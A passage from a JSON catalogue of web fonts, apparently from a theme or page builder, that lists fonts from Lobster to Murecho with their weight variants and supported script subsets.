Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lobster":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Lobster Two":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Londrina Outline":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Londrina Shadow":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Londrina Sketch":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Londrina Solid":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"}]},"Long Cang":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"Lora":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Love Light":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Love Ya Like A Sister":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Loved by the King":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Lovers Quarrel":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Luckiest Guy":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Lusitana":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Lustria":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Luxurious Roman":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Luxurious Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"M PLUS 1":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"M PLUS 1 Code":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"M PLUS 1p":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"M PLUS 2":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"M PLUS Code Latin":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"M PLUS Rounded 1c":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Ma Shan Zheng":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"chinese-simplified","name":"Chinese-simplified"},{"id":"latin","name":"Latin"}]},"Macondo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Macondo Swash Caps":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Mada":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"}]},"Magra":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Maiden Orange":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Maitree":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Major Mono Display":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Mako":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Mali":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Mallanna":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Mandali":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Manjari":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"malayalam","name":"Malayalam"}]},"Manrope":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Mansalva":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Manuale":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Marcellus":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Marcellus SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Marck Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Margarine":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Markazi Text":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Marko One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Marmelad":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Martel":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Martel Sans":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Marvel":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Mate":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Mate SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Maven Pro":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"McLaren":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mea Culpa":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Meddon":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"MedievalSharp":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Medula One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Meera Inimai":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"tamil","name":"Tamil"}]},"Megrim":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Meie Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Meow Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Merienda":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Merienda One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Merriweather":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Merriweather Sans":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Metal":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Metal Mania":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Metamorphous":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Metrophobic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Michroma":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Milonga":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Miltonian":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Miltonian Tattoo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Mina":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"bengali","name":"Bengali"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Miniver":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Miriam Libre":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mirza":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Miss Fajardose":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mitr":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Mochiy Pop One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"}]},"Mochiy Pop P One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"}]},"Modak":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Modern Antiqua":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mogra":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mohave":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Molengo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Molle":{"variants":[{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Monda":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Monofett":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Monoton":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Monsieur La Doulaise":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Montaga":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Montagu Slab":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"MonteCarlo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Montez":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Montserrat":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Montserrat Alternates":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Montserrat Subrayada":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Moo Lah Lah":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Moon Dance":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Moul":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Moulpali":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Mountains of Christmas":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Mouse Memoirs":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mr Bedfort":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mr Dafoe":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mr De Haviland":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mrs Saint Delafield":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mrs Sheppards":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Ms Madi":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Mukta":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mukta Mahee":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"gurmukhi","name":"Gurmukhi"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mukta Malar":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"}]},"Mukta Vaani":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Mulish":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Murecho":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 